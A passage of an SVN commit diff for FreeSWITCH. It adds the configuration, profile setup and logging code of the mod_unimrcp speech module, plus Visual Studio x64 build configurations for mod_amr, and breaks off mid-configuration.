+	switch_core_hash_insert(globals.recog.param_id_map, "Ver-Buffer-Utterance", unimrcp_param_id_create(RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Recognition-Mode", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNITION_MODE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Cancel-If-Queue", unimrcp_param_id_create(RECOGNIZER_HEADER_CANCEL_IF_QUEUE, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Hotword-Max-Duration", unimrcp_param_id_create(RECOGNIZER_HEADER_HOTWORD_MAX_DURATION, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Hotword-Min-Duration", unimrcp_param_id_create(RECOGNIZER_HEADER_HOTWORD_MIN_DURATION, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Interpret-Text", unimrcp_param_id_create(RECOGNIZER_HEADER_INTERPRET_TEXT, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "DTMF-Buffer-Time", unimrcp_param_id_create(RECOGNIZER_HEADER_DTMF_BUFFER_TIME, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Clear-DTMF-Buffer", unimrcp_param_id_create(RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER, pool));
+	switch_core_hash_insert(globals.recog.param_id_map, "Early-No-Match", unimrcp_param_id_create(RECOGNIZER_HEADER_EARLY_NO_MATCH, pool));
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Shutdown the recognizer
+ */
+static switch_status_t recog_shutdown()
+{
+	if (globals.recog.fs_param_map) {
+		switch_core_hash_destroy(&globals.recog.fs_param_map);
+	}
+	if (globals.recog.param_id_map) {
+		switch_core_hash_destroy(&globals.recog.param_id_map);
+	}
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Process the XML configuration for this module
+ * Uses the instructions[] defined in this module to process the configuration. 
+ *
+ * @return SWITCH_STATUS_SUCCESS if the configuration is OK
+ */
+static switch_status_t mod_unimrcp_do_config()
+{
+	switch_xml_t cfg, xml, settings;
+	switch_status_t status = SWITCH_STATUS_SUCCESS;
+
+	if (!(xml = switch_xml_open_cfg(CONFIG_FILE, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open %s\n", CONFIG_FILE);
+		status = SWITCH_STATUS_FALSE;
+		goto done;
+	}
+
+	if ((settings = switch_xml_child(cfg, "settings"))) {
+		if (switch_xml_config_parse(switch_xml_child(settings, "param"), SWITCH_FALSE, instructions) == SWITCH_STATUS_SUCCESS) {
+			switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,"Config parsed ok!\n");
+			goto done;
+		}
+	}
+
+ done:
+
+	if (xml) {
+		switch_xml_free(xml);
+	}
+
+	return status;
+}
+
+#define DEFAULT_LOCAL_IP_ADDRESS  "127.0.0.1"
+#define DEFAULT_REMOTE_IP_ADDRESS "127.0.0.1"
+#define DEFAULT_SIP_LOCAL_PORT    5090
+#define DEFAULT_SIP_REMOTE_PORT   5060
+#define DEFAULT_RTP_PORT_MIN      4000
+#define DEFAULT_RTP_PORT_MAX      5000
+
+#define DEFAULT_SOFIASIP_UA_NAME  "FreeSWITCH"
+#define DEFAULT_SDP_ORIGIN        "FreeSWITCH"
+#define DEFAULT_RESOURCE_LOCATION "media"
+
+/**
+ * Get IP address from IP address value
+ *
+ * @param value "auto" or IP address
+ * @param pool the memory pool to use
+ * @return IP address
+ */
+static char *ip_addr_get(const char *value, apr_pool_t *pool)
+{
+	if(!value || strcasecmp(value,"auto") == 0) {
+		char *addr = DEFAULT_LOCAL_IP_ADDRESS;
+		apt_ip_get(&addr,pool);
+		return addr;
+	}
+	return apr_pstrdup(pool,value);
+}
+
+/**
+ * set mod_unimrcp-specific profile configuration
+ * 
+ * @param profile the MRCP profile to configure
+ * @param param the param name
+ * @param val the param value
+ * @param pool the memory pool to use
+ */
+static int process_profile_config(profile_t *profile, const char *param, const char *val, switch_memory_pool_t *pool)
+{
+	int mine = 1;
+	if (strcasecmp(param, "jsgf-mime-type") == 0) {
+		profile->jsgf_mime_type = switch_core_strdup(pool, val);
+	} else if (strcasecmp(param, "gsl-mime-type") == 0) {
+		profile->gsl_mime_type = switch_core_strdup(pool, val);
+	} else if (strcasecmp(param, "srgs-xml-mime-type") == 0) {
+		profile->srgs_xml_mime_type = switch_core_strdup(pool, val);
+	} else if (strcasecmp(param, "srgs-mime-type") == 0) {
+		profile->srgs_mime_type = switch_core_strdup(pool, val);
+	} else {
+		mine = 0;
+	}
+
+	return mine;
+}
+
+/**
+ * set RTP config struct with param, val pair 
+ * @param client the MRCP client
+ * @param rtp_config the config struct to set
+ * @param param the param name
+ * @param val the param value
+ * @param pool memory pool to use
+ * @return true if this param belongs to RTP config
+ */
+static int process_rtp_config(mrcp_client_t *client, mpf_rtp_config_t *rtp_config, const char *param, const char *val, apr_pool_t *pool)
+{
+	int mine = 1;
+	if (strcasecmp(param, "rtp-ip") == 0) {
+		apt_string_set(&rtp_config->ip, ip_addr_get(val, pool));
+	} else if (strcasecmp(param, "rtp-ext-ip") == 0) {
+		apt_string_set(&rtp_config->ext_ip, ip_addr_get(val, pool));
+	} else if (strcasecmp(param, "rtp-port-min") == 0) {
+		rtp_config->rtp_port_min = (apr_port_t)atol(val);
+	} else if (strcasecmp(param, "rtp-port-max") == 0) {
+		rtp_config->rtp_port_max = (apr_port_t)atol(val);
+	} else if (strcasecmp(param, "playout-delay") == 0) {
+		rtp_config->jb_config.initial_playout_delay = atol(val);
+	} else if (strcasecmp(param, "min-playout-delay") == 0) {
+		rtp_config->jb_config.min_playout_delay = atol(val);
+	} else if (strcasecmp(param, "max-playout-delay") == 0) {
+		rtp_config->jb_config.max_playout_delay = atol(val);
+	} else if (strcasecmp(param, "codecs") == 0) {
+		const mpf_codec_manager_t *codec_manager = mrcp_client_codec_manager_get(client);
+		if(codec_manager) {
+			mpf_codec_manager_codec_list_load(codec_manager, &rtp_config->codec_list, val, pool);
+		}
+	} else if (strcasecmp(param, "ptime") == 0) {
+		rtp_config->ptime = (apr_uint16_t)atol(val);
+	} else {
+		mine = 0;
+	}
+
+	return mine;
+}
+
+/**
+ * set RTSP client config struct with param, val pair
+ * @param config the config struct to set
+ * @param param the param name
+ * @param val the param value
+ * @param pool memory pool to use
+ * @return true if this param belongs to RTSP config 
+ */
+static int process_mrcpv1_config(rtsp_client_config_t *config, const char *param, const char *val, apr_pool_t *pool)
+{
+	int mine = 1;
+	if (strcasecmp(param, "server-ip") == 0) {
+		config->server_ip = ip_addr_get(val, pool);
+	} else if (strcasecmp(param, "server-port") == 0) {
+		config->server_port = (apr_port_t)atol(val);
+	} else if (strcasecmp(param, "resource-location") == 0) {
+		config->resource_location = apr_pstrdup(pool, val);
+	} else if (strcasecmp(param, "sdp-origin") == 0) {
+		config->origin = apr_pstrdup(pool, val);
+	} else if (strcasecmp(param, "max-connection-count") == 0) {
+		config->max_connection_count = atol(val);
+	} else if (strcasecmp(param, "force-destination") == 0) {
+		config->force_destination = atoi(val);
+	} else if (strcasecmp(param, "speechsynth") == 0 || strcasecmp(param, "speechrecog") == 0) {
+		apr_table_set(config->resource_map, param, val);
+	} else {
+		mine = 0;
+	}
+	return mine;
+}
+
+/**
+ * set SofiaSIP client config struct with param, val pair
+ * @param config the config struct to set
+ * @param param the param name
+ * @param val the param value
+ * @param pool memory pool to use
+ * @return true if this param belongs to SofiaSIP config
+ */
+static int process_mrcpv2_config(mrcp_sofia_client_config_t *config, const char *param, const char *val, apr_pool_t *pool)
+{
+	int mine = 1;
+	if (strcasecmp(param, "client-ip") == 0) {
+		config->local_ip = ip_addr_get(val, pool);
+	} else if (strcasecmp(param,"client-ext-ip") == 0) {
+		config->ext_ip = ip_addr_get(val, pool);
+	} else if (strcasecmp(param,"client-port") == 0) {
+		config->local_port = (apr_port_t)atol(val);
+	} else if (strcasecmp(param, "server-ip") == 0) {
+		config->remote_ip = ip_addr_get(val, pool);
+	} else if (strcasecmp(param, "server-port") == 0) {
+		config->remote_port = (apr_port_t)atol(val);
+	} else if (strcasecmp(param, "server-username") == 0) {
+		config->remote_user_name = apr_pstrdup(pool, val);
+	} else if (strcasecmp(param, "force-destination") == 0) {
+		config->force_destination = atoi(val);
+	} else if (strcasecmp(param, "sip-transport") == 0) {
+		config->transport = apr_pstrdup(pool, val);
+	} else if (strcasecmp(param, "ua-name") == 0) {
+		config->user_agent_name = apr_pstrdup(pool, val);
+	} else if (strcasecmp(param, "sdp-origin") == 0) {
+		config->origin = apr_pstrdup(pool, val);
+	} else {
+		mine = 0;
+	}
+	return mine;
+}
+
+/**
+ * Create the MRCP client and configure it with profiles defined in FreeSWITCH XML config
+ *
+ * Some code and ideas borrowed from unimrcp-client.c
+ * Please check libs/unimrcp/platform/libunimrcp-client/src/unimrcp-client.c when upgrading
+ * the UniMRCP library to ensure nothing new needs to be set up.
+ *
+ * @return the MRCP client
+ */
+static mrcp_client_t *mod_unimrcp_client_create(switch_memory_pool_t *mod_pool)
+{
+	switch_xml_t cfg = NULL, xml = NULL, profiles = NULL, profile = NULL;
+	mrcp_client_t *client = NULL;
+	apr_pool_t *pool = NULL;
+	mrcp_resource_factory_t *resource_factory = NULL;
+	mpf_codec_manager_t *codec_manager = NULL;
+	apr_size_t max_connection_count = 0;
+	apt_bool_t offer_new_connection = FALSE;
+	mrcp_connection_agent_t *connection_agent;
+	mpf_engine_t *media_engine;
+	apt_dir_layout_t *dir_layout;
+	
+	/* create the client */
+	if ((dir_layout = apt_default_dir_layout_create("../", mod_pool)) == NULL) {
+		goto done;
+	}
+	client = mrcp_client_create(dir_layout);
+	if (!client)
+		goto done;
+
+	pool = mrcp_client_memory_pool_get(client);
+	if (!pool)
+		goto done;
+
+	resource_factory = mrcp_default_factory_create(pool);
+	if (resource_factory) {
+		mrcp_client_resource_factory_register(client, resource_factory);
+	}
+
+	codec_manager = mpf_engine_codec_manager_create(pool);
+	if (codec_manager) {
+		mrcp_client_codec_manager_register(client, codec_manager);
+	}
+
+	/* set up MRCPv2 connection agent that will be shared with all profiles */
+	if (!switch_strlen_zero(globals.unimrcp_max_connection_count)) {
+		max_connection_count = atoi(globals.unimrcp_max_connection_count);
+	}
+	if (max_connection_count <= 0) {
+		max_connection_count = 100;
+	}
+	if (!switch_strlen_zero(globals.unimrcp_offer_new_connection)) {
+		offer_new_connection = strcasecmp("true", globals.unimrcp_offer_new_connection);
+	}
+	connection_agent = mrcp_client_connection_agent_create(max_connection_count, offer_new_connection, pool);
+	if (connection_agent) {
+		mrcp_client_connection_agent_register(client, connection_agent, "MRCPv2ConnectionAgent");
+	}
+
+	/* Set up the media engine that will be shared with all profiles */
+	media_engine = mpf_engine_create(pool);
+	if (media_engine) {
+		mrcp_client_media_engine_register(client, media_engine, "MediaEngine");
+	}
+
+	/* configure the client profiles */
+	if (!(xml = switch_xml_open_cfg(CONFIG_FILE, &cfg, NULL))) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Could not open %s\n", CONFIG_FILE);
+		client = NULL;
+		goto done;
+	}
+	if ((profiles = switch_xml_child(cfg, "profiles"))) {
+		for (profile = switch_xml_child(profiles, "profile"); profile; profile = switch_xml_next(profile)) {
+			/* a profile is a signaling agent + termination factory + media engine + connection agent (MRCPv2 only) */
+			mrcp_sig_agent_t *agent = NULL;
+			mpf_termination_factory_t *termination_factory = NULL;
+			mrcp_profile_t * mprofile = NULL;
+			mpf_rtp_config_t *rtp_config = NULL;
+			profile_t *mod_profile = NULL;
+			
+			/* get profile attributes */
+			const char *name = apr_pstrdup(pool, switch_xml_attr(profile, "name"));
+			const char *version = switch_xml_attr(profile, "version");
+			if (switch_strlen_zero(name) || switch_strlen_zero(version)) {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "<profile> missing name or version attribute\n");
+				client = NULL;
+				goto done;
+			}
+
+			/* prepare mod_unimrcp's profile for configuration */
+			profile_create(&mod_profile, name, mod_pool);
+			switch_core_hash_insert(globals.profiles, mod_profile->name, mod_profile);
+
+			/* create RTP config, common to MRCPv1 and MRCPv2 */
+			rtp_config = mpf_rtp_config_create(pool);
+			rtp_config->rtp_port_min = DEFAULT_RTP_PORT_MIN;
+			rtp_config->rtp_port_max = DEFAULT_RTP_PORT_MAX;
+			apt_string_set(&rtp_config->ip, DEFAULT_LOCAL_IP_ADDRESS);
+			
+			if (strcmp("1", version) == 0) {
+				/* MRCPv1 configuration */
+				rtsp_client_config_t *config = mrcp_unirtsp_client_config_alloc(pool);
+				switch_xml_t param = NULL;
+				config->origin = DEFAULT_SDP_ORIGIN;
+				config->resource_location = DEFAULT_RESOURCE_LOCATION;
+
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Loading MRCPv1 profile: %s\n", name);
+				for (param = switch_xml_child(profile, "param"); param; param = switch_xml_next(param)) {
+					const char *param_name = switch_xml_attr(param, "name");
+					const char *param_value = switch_xml_attr(param, "value");
+					if (switch_strlen_zero(param_name)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing param name\n");
+						client = NULL;
+						goto done;
+					}
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Loading Param %s:%s\n", param_name, param_value);
+					if (!process_mrcpv1_config(config, param_name, param_value, pool) && 
+						!process_rtp_config(client, rtp_config, param_name, param_value, pool) &&
+						!process_profile_config(mod_profile, param_name, param_value, mod_pool)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unknown param %s\n", param_name);
+					}
+				}
+				agent = mrcp_unirtsp_client_agent_create(config, pool);
+			} else if (strcmp("2", version) == 0) {
+				/* MRCPv2 configuration */
+				mrcp_sofia_client_config_t *config = mrcp_sofiasip_client_config_alloc(pool);
+				switch_xml_t param = NULL;
+				config->local_ip = DEFAULT_LOCAL_IP_ADDRESS;
+				config->local_port = DEFAULT_SIP_LOCAL_PORT;
+				config->remote_ip = DEFAULT_REMOTE_IP_ADDRESS;
+				config->remote_port = DEFAULT_SIP_REMOTE_PORT;
+				config->ext_ip = NULL;
+				config->user_agent_name = DEFAULT_SOFIASIP_UA_NAME;
+				config->origin = DEFAULT_SDP_ORIGIN;
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Loading MRCPv2 profile: %s\n", name);
+				for (param = switch_xml_child(profile, "param"); param; param = switch_xml_next(param)) {
+					const char *param_name = switch_xml_attr(param, "name");
+					const char *param_value = switch_xml_attr(param, "value");
+					if (switch_strlen_zero(param_name)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing param name\n");
+						client = NULL;
+						goto done;
+					}
+					switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Loading Param %s:%s\n", param_name, param_value);
+					if (!process_mrcpv2_config(config, param_name, param_value, pool) &&
+						!process_rtp_config(client, rtp_config, param_name, param_value, pool) &&
+						!process_profile_config(mod_profile, param_name, param_value, mod_pool)) {
+						switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Unknown param %s\n", param_name);
+					}
+				}
+				agent = mrcp_sofiasip_client_agent_create(config, pool);
+			} else {
+				switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "version must be either \"1\" or \"2\"\n");
+				client = NULL;
+				goto done;
+			}
+
+			termination_factory = mpf_rtp_termination_factory_create(rtp_config, pool); 
+			if (termination_factory) {
+				mrcp_client_rtp_factory_register(client, termination_factory, name);
+			}
+			if (agent) {
+				mrcp_client_signaling_agent_register(client, agent, name);
+			}
+
+			/* create the profile and register it */
+			mprofile = mrcp_client_profile_create(NULL, agent, connection_agent, media_engine, termination_factory, pool);
+			if (mprofile) {
+				mrcp_client_profile_register(client, mprofile, name);
+			}
+		}
+	}
+
+ done:
+
+	if (xml) {
+		switch_xml_free(xml);
+	}
+
+	return client;
+}
+
+/**
+ * Macro expands to: switch_status_t mod_unimrcp_load(switch_loadable_module_interface_t **module_interface, switch_memory_pool_t *pool) 
+ */
+SWITCH_MODULE_LOAD_FUNCTION(mod_unimrcp_load)
+{
+	/* connect my internal structure to the blank pointer passed to me */
+	*module_interface = switch_loadable_module_create_module_interface(pool, modname);
+
+	memset(&globals, 0, sizeof(globals));
+	switch_mutex_init(&globals.mutex, SWITCH_MUTEX_UNNESTED, pool);
+	globals.speech_channel_number = 0;
+	switch_core_hash_init_case(&globals.profiles, pool, SWITCH_FALSE /* case_sensitive */);
+
+	/* get MRCP module configuration */
+	mod_unimrcp_do_config();
+	if (switch_strlen_zero(globals.unimrcp_default_synth_profile)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing default-tts-profile\n");
+		return SWITCH_STATUS_FALSE;
+	}
+	if (switch_strlen_zero(globals.unimrcp_default_recog_profile)) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Missing default-asr-profile\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	/* link UniMRCP logs to FreeSWITCH */
+	switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "UniMRCP log level = %s\n", globals.unimrcp_log_level);
+	if (apt_log_instance_create(APT_LOG_OUTPUT_NONE, str_to_log_level(globals.unimrcp_log_level), pool) == FALSE) {
+		/* already created */
+		apt_log_priority_set(str_to_log_level(globals.unimrcp_log_level));
+	}
+	apt_log_ext_handler_set(unimrcp_log);
+
+	/* Create the MRCP client */
+	if ((globals.mrcp_client = mod_unimrcp_client_create(pool)) == NULL) {
+		switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Failed to create mrcp client\n");
+		return SWITCH_STATUS_FALSE;
+	}
+
+	/* Create the synthesizer interface */
+	if (synth_load(*module_interface, pool) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	/* Create the recognizer interface */
+	if (recog_load(*module_interface, pool) != SWITCH_STATUS_SUCCESS) {
+		return SWITCH_STATUS_FALSE;
+	}
+
+	/* Start the client stack */
+	mrcp_client_start(globals.mrcp_client);
+
+	/* indicate that the module should continue to be loaded */
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * Called when the system shuts down
+ * Macro expands to: switch_status_t mod_unimrcp_shutdown() 
+ */
+SWITCH_MODULE_SHUTDOWN_FUNCTION(mod_unimrcp_shutdown)
+{
+	synth_shutdown();
+	recog_shutdown();
+
+	/* Stop the MRCP client stack */
+	mrcp_client_shutdown(globals.mrcp_client);
+	mrcp_client_destroy(globals.mrcp_client);
+	globals.mrcp_client = 0;
+
+	switch_mutex_destroy(globals.mutex);
+	switch_core_hash_destroy(&globals.profiles);
+
+	return SWITCH_STATUS_SUCCESS;
+}
+
+/**
+ * If it exists, this is called in it's own thread when the module-load completes
+ * If it returns anything but SWITCH_STATUS_TERM it will be called again automatically
+ * Macro expands to: switch_status_t mod_unimrcp_runtime()
+ */
+SWITCH_MODULE_RUNTIME_FUNCTION(mod_unimrcp_runtime)
+{
+	return SWITCH_STATUS_TERM;
+}
+
+/**
+ * Translate log level string to enum
+ * @param level log level string
+ * @return log level enum
+ */
+static apt_log_priority_e str_to_log_level(const char *level)
+{
+	if (strcmp(level, "EMERGENCY") == 0) {
+		return APT_PRIO_EMERGENCY;
+	} else if (strcmp(level, "ALERT") == 0) {
+		return APT_PRIO_ALERT;
+	} else if (strcmp(level, "CRITICAL") == 0) {
+		return APT_PRIO_CRITICAL;
+	} else if (strcmp(level, "ERROR") == 0) {
+		return APT_PRIO_ERROR;
+	} else if (strcmp(level, "WARNING") == 0) {
+		return APT_PRIO_WARNING;
+	} else if (strcmp(level, "NOTICE") == 0) {
+		return APT_PRIO_NOTICE;
+	} else if (strcmp(level, "INFO") == 0) {
+		return APT_PRIO_INFO;
+	} else if (strcmp(level, "DEBUG") == 0) {
+		return APT_PRIO_DEBUG;
+	}
+	return APT_PRIO_DEBUG;
+}
+
+/**
+ * Connects UniMRCP logging to FreeSWITCH
+ * @return TRUE
+ */
+static apt_bool_t unimrcp_log(const char *file, int line, const char *id, apt_log_priority_e priority, const char *format, va_list arg_ptr)
+{
+	switch_log_level_t level;
+	char log_message[4096] = { 0 }; /* same size as MAX_LOG_ENTRY_SIZE in UniMRCP apt_log.c */
+	size_t msglen;
+
+	if (switch_strlen_zero(format)) {
+		return TRUE;
+	}
+
+	switch(priority) {
+	case APT_PRIO_EMERGENCY:
+		/* pass through */
+	case APT_PRIO_ALERT:
+		/* pass through */
+	case APT_PRIO_CRITICAL:
+		level = SWITCH_LOG_CRIT;
+		break;
+	case APT_PRIO_ERROR:
+		level = SWITCH_LOG_ERROR;
+		break;
+	case APT_PRIO_WARNING:
+		level = SWITCH_LOG_WARNING;
+		break;
+	case APT_PRIO_NOTICE:
+		level = SWITCH_LOG_NOTICE;
+		break;
+	case APT_PRIO_INFO:
+		level = SWITCH_LOG_INFO;
+		break;
+	case APT_PRIO_DEBUG:
+		/* pass through */
+	default:
+		level = SWITCH_LOG_DEBUG;
+		break;
+	}
+	
+	/* apr_vsnprintf supports format extensions required by UniMRCP */ 
+	apr_vsnprintf(log_message, sizeof(log_message), format, arg_ptr);
+	msglen = strlen(log_message);
+	if (msglen >= 2 && log_message[msglen - 2] == '\\' && log_message[msglen - 1] == 'n') {
+		/* log_message already ends in \n */
+		switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, "", line, id, level, "%s", log_message);
+	} else if (msglen > 0) {
+		/* log message needs \n appended */
+		switch_log_printf(SWITCH_CHANNEL_ID_LOG, file, "", line, id, level, "%s\n", log_message);
+	}
+	
+	return TRUE;
+}
+
+/**
+ * @return the next number to assign the channel
+ */
+static int get_next_speech_channel_number(void)
+{
+	int num;
+	switch_mutex_lock(globals.mutex);
+	num = globals.speech_channel_number;
+	if (globals.speech_channel_number == INT_MAX) {
+		globals.speech_channel_number = 0;
+	} else {
+		globals.speech_channel_number++;
+	}
+	switch_mutex_unlock(globals.mutex);
+
+	return num;
+}
+
+/**
+ * Create a parameter id
+ * 
+ * @param id the UniMRCP ID
+ * @return the pair
+ */
+static unimrcp_param_id_t *unimrcp_param_id_create(int id, switch_memory_pool_t *pool)
+{
+	unimrcp_param_id_t *param = (unimrcp_param_id_t *)switch_core_alloc(pool, sizeof(unimrcp_param_id_t));
+	if (param) {
+		param->id = id;
+	}
+	return param;
+}
+
+
+/* For Emacs:
+ * Local Variables:
+ * mode:c
+ * indent-tabs-mode:t
+ * tab-width:4
+ * c-basic-offset:4
+ * End:
+ * For VIM:
+ * vim:set softtabstop=4 shiftwidth=4 tabstop=4:
+ */

Deleted: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/unimrcp.vsprops

Copied: freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/unimrcp.vsprops (from rev 14471, freeswitch/trunk/src/mod/asr_tts/mod_unimrcp/unimrcp.vsprops) (0 => 14472)


--- freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/unimrcp.vsprops	                        (rev 0)
+++ freeswitch/branches/seven/src/mod/asr_tts/mod_unimrcp/unimrcp.vsprops	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,13 @@
+<?xml version="1.0" encoding="Windows-1252"?>
+<VisualStudioPropertySheet
+	ProjectType="Visual C++"
+	Version="8.00"
+	Name="unimrcp"
+	InheritedPropertySheets="..\..\..\..\w32\apr.vsprops"
+	>
+	<Tool
+		Name="VCCLCompilerTool"
+		AdditionalIncludeDirectories="&quot;$(SolutionDir)libs\unimrcp\platforms\libunimrcp-client\include&quot;;&quot;$(SolutionDir)libs\unimrcp\include&quot;;&quot;$(SolutionDir)libs\unimrcp\libs\apr-toolkit\include&quot;"
+		PreprocessorDefinitions=""
+	/>
+</VisualStudioPropertySheet>

Property changes: freeswitch/branches/seven/src/mod/codecs/mod_amr


Name: svn:ignore
   - Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug Passthrough
release
Release Passthrough
debug passthrough
   + Release
Debug
*.user
*.so
*.pdb
*.dylib
*.o
.libs
debug
Debug Passthrough
release
Release Passthrough
debug passthrough
Win32
x64

Modified: freeswitch/branches/seven/src/mod/codecs/mod_amr/mod_amr.2008.vcproj (14471 => 14472)


--- freeswitch/branches/seven/src/mod/codecs/mod_amr/mod_amr.2008.vcproj	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/src/mod/codecs/mod_amr/mod_amr.2008.vcproj	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,6 +12,9 @@
 		<Platform
 			Name="Win32"
 		/>
+		<Platform
+			Name="x64"
+		/>
 	</Platforms>
 	<ToolFiles>
 	</ToolFiles>
@@ -80,6 +83,74 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libamr\src\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libamr.lib"
+				OutputFile="$(SolutionDir)$(PlatformName)\Debug/mod/$(ProjectName).dll"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Release|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
@@ -143,6 +214,73 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Release|x64"
+			OutputDirectory="$(PlatformName)\$(ConfigurationName)"
+			IntermediateDirectory="$(PlatformName)\$(ConfigurationName)"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_release.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libamr\src\include&quot;"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
+				AdditionalDependencies="libamr.lib"
+				RandomizedBaseAddress="1"
+				DataExecutionPrevention="0"
+				TargetMachine="17"
+			/>
+			<Tool
+				Name="VCALinkTool"
+			/>
+			<Tool
+				Name="VCManifestTool"
+			/>
+			<Tool
+				Name="VCXDCMakeTool"
+			/>
+			<Tool
+				Name="VCBscMakeTool"
+			/>
+			<Tool
+				Name="VCFxCopTool"
+			/>
+			<Tool
+				Name="VCAppVerifierTool"
+			/>
+			<Tool
+				Name="VCPostBuildEventTool"
+			/>
+		</Configuration>
+		<Configuration
 			Name="Debug Passthrough|Win32"
 			ConfigurationType="2"
 			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
@@ -206,6 +344,72 @@
 			/>
 		</Configuration>
 		<Configuration
+			Name="Debug Passthrough|x64"
+			ConfigurationType="2"
+			InheritedPropertySheets="..\..\..\..\w32\module_debug.vsprops"
+			CharacterSet="2"
+			>
+			<Tool
+				Name="VCPreBuildEventTool"
+			/>
+			<Tool
+				Name="VCCustomBuildTool"
+			/>
+			<Tool
+				Name="VCXMLDataGeneratorTool"
+			/>
+			<Tool
+				Name="VCWebServiceProxyGeneratorTool"
+			/>
+			<Tool
+				Name="VCMIDLTool"
+				TargetEnvironment="3"
+			/>
+			<Tool
+				Name="VCCLCompilerTool"
+				AdditionalIncludeDirectories="&quot;$(InputDir)..\..\..\..\libs\codec\libamr\src\include&quot;"
+				PreprocessorDefinitions="AMR_PASSTHROUGH"
+				UsePrecompiledHeader="0"
+			/>
+			<Tool
+				Name="VCManagedResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCResourceCompilerTool"
+			/>
+			<Tool
+				Name="VCPreLinkEventTool"
+			/>
+			<Tool
+				Name="VCLinkerTool"
